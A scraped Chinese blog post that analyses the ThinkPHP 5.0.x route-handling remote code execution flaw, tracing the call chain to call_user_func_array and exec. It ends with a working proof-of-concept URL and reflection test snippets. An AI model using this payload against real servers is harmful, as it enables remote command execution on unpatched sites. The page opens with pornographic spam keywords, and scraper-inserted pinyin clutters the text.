国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE

這篇具有很好參考價(jià)值的文章主要介紹了ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE。希望對大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

本次我們繼續(xù)以漏洞挖掘者的視角,來分析thinkphp的RCE

敏感函數(shù)發(fā)現(xiàn)

在調(diào)用入口函數(shù):/ThinkPHP_full_v5.0.22/public/index.php 時(shí)
發(fā)現(xiàn)了框架底層調(diào)用了\thinkphp\library\think\App.php的app類中的incokeMethod方法

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

?注意傳遞的參數(shù),ReflectionMethod接受的參數(shù)。如果是數(shù)組的形式, 那么參數(shù)1是這個(gè)類的object,參數(shù)2是object的方法。如此就可以調(diào)用到index類的index方法
ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

?下面是整個(gè)調(diào)用鏈

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

那么現(xiàn)在思考incokeMethod方法接受的參數(shù)是否為為一個(gè)可控變量呢,如果可控是不是就意味著我們可以執(zhí)行任意類中的任意funtion了。這里我們還不能直接調(diào)用system,exec這些函數(shù),因?yàn)樗鼈儾粚儆谌魏晤?,它是一個(gè)全局函數(shù)。嘗試找一下類中的敏感函數(shù)

敏感函數(shù)調(diào)用

恰好的是,就在app類中存在一個(gè)敏感的函數(shù)invokeFunction

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

下面給出一個(gè)ReflectionFunction的反射示例

function sum($a, $b) {
    return $a + $b;
}

class Example {
    public static function bindParams($reflect, $vars) {
        $args = [];
        foreach ($reflect->getParameters() as $param) {
            $name = $param->getName();
            if (isset($vars[$name])) {
                $args[] = $vars[$name];
            } else {
                $args[] = $param->getDefaultValue();
            }
        }
        return $args;
    }
    
    public static function executeFunction($function, $vars) {
        $reflect = new \ReflectionFunction($function);
        $args = self::bindParams($reflect, $vars);
        
        // 記錄執(zhí)行信息
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
        
        return $reflect->invokeArgs($args);
    }
}

$vars = array(
    'a' => 5,
    'b' => 10,
);

$result = Example::executeFunction('sum', $vars);
echo $result; // 輸出 15

在這個(gè)示例中ReflectionFunction函數(shù)沒有牽扯到類,sum是一個(gè)全局函數(shù)。如此我們現(xiàn)在可以嘗試反射條用system函數(shù)了,

下面是經(jīng)過我測試的反射調(diào)用exec,它可以彈出計(jì)算機(jī)

<?php
$reflection = new ReflectionFunction('exec');
echo $reflection->getName() . "\n";  // 輸出函數(shù)名 
$params = $reflection->getParameters();
foreach ($params as $param) {
    echo "-----"."參數(shù):" . $param->getName() . "\n";
}

$args = [calc];
$result = $reflection->invokeArgs($args);
//echo "結(jié)果:" . $result . "\n";
?>

按照這個(gè)思路,我就在invokeFunction中讓參數(shù)$function='exec' 讓參數(shù)$vars = [calc],就可以執(zhí)行命令了,不過在此之前看看它的bindParams邏輯

敏感函數(shù)繞過

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

?跟進(jìn)getParameters 繼續(xù)看調(diào)用邏輯
ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

?看到這里原有的設(shè)定就遇到了問題,因?yàn)檫@個(gè)參數(shù)綁定會遍歷函數(shù)的參數(shù)名,像我們之前想調(diào)用的exec函數(shù),其函數(shù)原型為

exec(string $command, array &$output = null, int &$return_var = null): string|false

?$reflect->getParameters() as $param 一定會依次得到command? - output -? return_var
如還想調(diào)用exec,那參數(shù)vars 必須寫上如下形式

$reflection = new ReflectionFunction('exec');
$vars = [calc,null,null];
$result = $reflection->invokeArgs($vars);

以上本地測試還行,php正確接解析了null 然而在web中我們傳遞的參數(shù)大多為字符串,除非后端單獨(dú)處理,否則我們想傳遞一個(gè)null類型的參數(shù),幾乎是不可能的,只能換其他的調(diào)用函數(shù)了,要執(zhí)行系統(tǒng)命令,還要避開參數(shù)null這樣的類型。system函數(shù)就不行有null類型

有沒有我們需要的這嚴(yán)的函數(shù)呢 !還真有一個(gè),它就是call_user_func_array函數(shù)

它的原型為

call_user_func_array(callable $callback, array $param_arr): mixed

?再次本地測試

<?php

$reflection = new ReflectionFunction('call_user_func_array');
$vars = [exec,[calc]];
var_dump($vars);
$result = $reflection->invokeArgs($vars);

?>

如此我用參數(shù)綁定的機(jī)制把exec 綁定在參數(shù)callback 把[calc]綁定在param_arr,通過$reflection->invokeArgs我們成功調(diào)用了calc (反射類似調(diào)用了call_user_func_array('exe',[calc])),null的問題得到完美解決。

回顧一下rce成立的條件
invokeMethod調(diào)用invokeFunction?
invokeFunction調(diào)用call_user_func_array
call_user_func_array調(diào)用exec

代碼大致長這樣樣子

invokeMethod([對象,方法],參數(shù)1)
--------這里的對象對象要app類對象方法是invokeFunction?
-------參數(shù)1為一個(gè)數(shù)組[call_user_func_array,參數(shù)2]
這樣就可調(diào)用call_user_func_array,我們將參數(shù)設(shè)置為[exec,[calc]] 就可以執(zhí)行任意命令了。

接下來把重點(diǎn)放到參數(shù)可控上,如果我們使參數(shù)可控那么RCE漏洞就成立了?

參數(shù)可控分析

首先看調(diào)用了invokeMethod的地方

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

該段代碼位于app類的module方法中,

看一看call是怎么來的

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

$call是一個(gè)數(shù)組符合我們的預(yù)期,我們要把這個(gè)instance換成app對象,action換成invokeFunction。

繼續(xù)向上分析?instance怎么得來的

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

?繼續(xù)分析controller怎么得到的

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

?這個(gè)result參數(shù)參數(shù)得來的,那就讓result為一個(gè)數(shù)組? 讓其$result[1]=app類路徑。

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

?如此參數(shù)$call的instance就解決了,接下來看action

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

?全局搜索action_suffix發(fā)現(xiàn)這個(gè)值為空,不影響action,繼續(xù)分析actionName

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

actionName的是result數(shù)組索引2獲取的,那好在傳遞module函數(shù)參數(shù)時(shí),讓result為一個(gè)數(shù)組? 讓其$result[2]=invokeFunction

如此$call的問題全部解決,看看剩下的$vars

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

這里放上找vars是空的啊,不要著急。既然vars向上找沒有找到,那么在想向下仔細(xì)找找,是不是在調(diào)用的過程中被賦值。

向下走到invokeMethod方法中
ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

bindParams對vars進(jìn)行了處理?跟進(jìn)去看看

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

全局搜索url_param_type,發(fā)現(xiàn)它為0 ,也就說我們會走到param方法,執(zhí)行完畢后更新vars值

之后返回給變量$args。

進(jìn)入param中

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

request對象中的param成員,存儲的是我們get參數(shù)的內(nèi)容param可以寫成我們構(gòu)造的[call_user_func_array,參數(shù)2],它之后被返回了
ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

在input方法中他會過濾一些值

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

之后返回data這個(gè)數(shù)組

?ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

?好!現(xiàn)在根據(jù)我們的猜想get傳參function=call_user_func_array&vars[0]=exec&vars[1][]=calc
就可以上讓request對象的param成員存儲[call_user_func_array,參數(shù)2] 參數(shù)2是[exec,[calc]]

由此在調(diào)用invokeFunction之前$args就準(zhǔn)備好了。?$vars的問題解決了

現(xiàn)在目光繼續(xù)放在module 這個(gè)函數(shù),根據(jù)之前分析的讓result為一個(gè)數(shù)組? 讓其$result[1]=app類路徑。讓其$result[2]=invokeFunction

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

繼續(xù)向上分析,exec會根據(jù)dispatch的type不同而調(diào)用module函數(shù)

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

傳參是dispatch的module重點(diǎn)關(guān)注它

一樣的思路,在app類的run方法中最后會執(zhí)行exec方法

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

執(zhí)行exec方法之前,它會初始dispatch 這個(gè)對象

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

?我們跟進(jìn)routecheck方法,重點(diǎn)關(guān)注成員module

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

result為我們準(zhǔn)備返回值,request->path將url中?s= 之后的內(nèi)容取了出來

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

這里注解提示了我們路由訪問的規(guī)則,可以參考下,

這里depr="/"后面的controller_auto_search 是false

進(jìn)入parseurl分析,在parseurl 最后的返回中出現(xiàn)了module成員 這正是我們想要的

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

重點(diǎn)分析route是怎么出來的

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

其實(shí)這里我們就可以根據(jù)手冊說明

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

嘗試把controller修改為我們的app類地址,action設(shè)置為?invokeFunction,module可以設(shè)置成index,如果沒有達(dá)到預(yù)期可以在調(diào)試

那么app的類地址是什么呢, 如下寫成think\app即可

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

下面就是調(diào)試版

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

跟如parseurlpath方法?
ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

?這里的返回值是準(zhǔn)備好的以“/”切分的數(shù)組,之后分別賦給module controller action

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

如此參數(shù)的確可控,RCE漏洞所有條件成立。poc打出,成彈出計(jì)算機(jī)。
ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE,PHP代碼審計(jì),開發(fā)語言,web安全,php,安全

本次漏洞研究結(jié)束

賦值poc

127.0.0.1/ThinkPHP_full_v5.0.22/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=exec&vars[1][]=calc文章來源地址http://www.zghlxwxcb.cn/news/detail-818849.html

到了這里,關(guān)于ThinkPHP5.0.0~5.0.23路由控制不嚴(yán)謹(jǐn)導(dǎo)致的RCE的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • thinkphp6和thinkphp5有什么區(qū)別

    Thinkphp6.0完全開發(fā)手冊 采用PHP7強(qiáng)類型(嚴(yán)格模式) tp5 環(huán)境要求PHP = 5.4.0 ThinkPHP6.0的環(huán)境要求 PHP = 7.2.5 6.0版本開始,必須通過Composer方式安裝和更新,所以你無法通過Git下載安裝。 支持更多的PSR規(guī)范 V6.0.10版本開始 支持 psr7 response 多應(yīng)用支持 tp5默認(rèn)使用多應(yīng)用模式部署 tp6 安

    2024年02月06日
    瀏覽(21)
  • thinkphp5攔截驗(yàn)證token

    寫一個(gè)BaseController 類 基本思路: 1、繼承一個(gè)公共基類,將驗(yàn)證相關(guān)代碼放在基類 2、根據(jù) 孩子類下的notNeedToken 來決定是否進(jìn)行驗(yàn)證 3、驗(yàn)證失敗后,直接響應(yīng)回來 這里需要封裝一個(gè)主要代碼: 如果直接return 返回,是不會終止執(zhí)行的,而是會繼續(xù)執(zhí)行到指定的控制器,所以

    2024年02月15日
    瀏覽(22)
  • thinkPhp5返回某些指定字段

    thinkPhp5返回某些指定字段

    或者指定要的字段的數(shù)組? 查詢符合條件的多條數(shù)據(jù) ?

    2024年02月09日
    瀏覽(27)
  • ThinkPHP5遠(yuǎn)程命令執(zhí)行漏洞

    ThinkPHP5遠(yuǎn)程命令執(zhí)行漏洞

    ThinkPHP是一個(gè)快速、兼容而且簡單的輕量級國產(chǎn) PHP開發(fā)框架?,誕生于2006年初,原名FCS,2007年元旦正式更名為ThinkPHP,遵循Apache2開源協(xié)議發(fā)布,使用面向?qū)ο蟮拈_發(fā)結(jié)構(gòu)和 MVC模式 ,從Struts結(jié)構(gòu)移植過來并做了改進(jìn)和完善,同時(shí)也借鑒了國外很多優(yōu)秀的框架和模式。 由于th

    2024年02月11日
    瀏覽(25)
  • Thinkphp5.x全漏洞復(fù)現(xiàn)分析

    Thinkphp5.x全漏洞復(fù)現(xiàn)分析

    我們可以把namespace理解為一個(gè)單獨(dú)的空間,事實(shí)上它也就是一個(gè)空間而已,子命名空間那就是空間里再劃分幾個(gè)小空間,舉個(gè)例子: 當(dāng)有多個(gè)子命名空間有相同名稱類時(shí),不指定使用哪個(gè)命名空間的情況下取最后定義的命名空間中的類,比如上面的 dog 取的時(shí) dogC 中的類,在

    2024年04月22日
    瀏覽(25)
  • ThinkPHP5.0.21遠(yuǎn)程命令執(zhí)行漏洞

    ThinkPHP5.0.21遠(yuǎn)程命令執(zhí)行漏洞

    漏洞出現(xiàn)的背景 : ThinkPHP是?款運(yùn)?極?的PHP開發(fā)框架。 其5.0.23以前的版本中,獲取method的?法中沒有正確處理?法名, 導(dǎo)致攻擊者可以調(diào)?Request類任意?法并構(gòu)造利?鏈,從?導(dǎo)致遠(yuǎn)程代碼執(zhí)?漏洞。 由于ThinkPHP5框架對控制器名沒有進(jìn)??夠的安全檢測,導(dǎo)致在沒有開

    2024年02月04日
    瀏覽(23)
  • ThinkPHP5系列遠(yuǎn)程代碼執(zhí)行漏洞復(fù)現(xiàn)(詳細(xì))

    ThinkPHP5系列遠(yuǎn)程代碼執(zhí)行漏洞復(fù)現(xiàn)(詳細(xì))

    ThinkPHP是一款運(yùn)用極廣的PHP開發(fā)框架。其版本5中,由于框架對控制器名沒有進(jìn)行足夠的檢測,會導(dǎo)致在沒有開啟強(qiáng)制路由的情況下可執(zhí)行任意方法,從而導(dǎo)致遠(yuǎn)程命令執(zhí)行漏洞。 漏洞危害 啟動(dòng)環(huán)境 切換到/thinkphp/5.0.23-rce# 目錄下 將version改為2,保存并退出 接著執(zhí)行 此時(shí)環(huán)境

    2024年02月12日
    瀏覽(29)
  • 知識筆記(九十)———ThinkPHP5中時(shí)間查詢的方法

    使用 where 方法 where 方法支持時(shí)間比較,例如: 第三個(gè)參數(shù)可以傳入任何有效的時(shí)間表達(dá)式,會自動(dòng)識別你的時(shí)間字段類型,支持的時(shí)間類型包括 timestamps 、 datetime 、 date 和 int 。 使用 whereTime 方法 whereTime 方法提供了日期和時(shí)間字段的快捷查詢,示例如下: 還提供了更方便

    2024年01月21日
    瀏覽(19)
  • thinkphp5.0.24反序列化漏洞分析

    thinkphp5.0.24反序列化漏洞分析

    thinkphp5框架: thinkphp5的入口文件在 publicindex.php ,訪問 反序列化起點(diǎn) 寫一個(gè)反序列化入口點(diǎn) 全局搜索 __destruct() 函數(shù) thinkphp_5.0.24thinkphplibrarythinkprocesspipesWindows.php 中的 __destruct() 函數(shù),調(diào)用了removeFiles() 跟進(jìn)removeFiles(),第163行的file_exists可以觸發(fā) __toString 方法 全局搜索

    2023年04月08日
    瀏覽(32)
  • thinkphp5實(shí)現(xiàn)ajax圖片上傳,壓縮保存到服務(wù)器

    thinkphp壓縮圖片插件官方地址 使用Composer安裝ThinkPHP5的圖像處理類庫: composer require topthink/think-image 另外一種方法,傳遞base64圖片,提交圖片數(shù)據(jù)的字符串

    2024年02月07日
    瀏覽(28)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包